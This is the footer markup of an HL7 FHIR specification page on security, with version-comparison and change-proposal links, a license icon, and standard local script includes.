<a style="color: #b8dcf9" href="http://services.w3.org/htmldiff?doc1=http%3A%2F%2Fhl7.org%2Ffhir%2FR4B%2Fsecurity.html&doc2=file%3AC%3A%5CUsers%5Cjohnm%5Cgit%5Cfhir%5Cpublish%5Csecurity.html">Compare to R4B</a> |
<a style="color: #b8dcf9" href="http://services.w3.org/htmldiff?doc1=http%3A%2F%2Fhl7.org%2Ffhir%2F4.6.0%2Fsecurity.html&doc2=file%3AC%3A%5CUsers%5Cjohnm%5Cgit%5Cfhir%5Cpublish%5Csecurity.html">Compare to R5 Draft</a> |
<a style="color: #b8dcf9" rel="license" href="license.html"><img src="cc0.png" style="border-style: none;" alt="CC0"/></a> |
<a style="color: #b8dcf9" target="_blank" href="https://jira.hl7.org/secure/CreateIssueDetails!init.jspa?pid=10405&issuetype=10600&customfield_11302=FHIR-core&customfield_11808=R5&customfield_10612=file:C:\Users\johnm\git\fhir\publish\/security.html">Propose a change</a>
</span>
</p>
</div><!-- /inner-wrapper -->
</div><!-- /container -->
</div><!-- /segment-footer -->
<!-- disqus thread -->
<!--disqus-->
<!-- end disqus -->
<div id="segment-post-footer" class="segment hidden"><!-- segment-post-footer -->
<div class="container"><!-- container -->
</div><!-- /container -->
</div><!-- /segment-post-footer -->
<!-- JS and analytics only. -->
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="./assets/js/jquery.js"> </script> <!-- note keep space here, otherwise it will be transformed to empty tag -> fails -->
<script src="./dist/js/bootstrap.min.js"> </script>
<script src="./assets/js/respond.min.js"> </script>
<script src="./assets/js/fhir.js"> </script>
<!-- Analytics Below
================================================== -->
</body>
</html>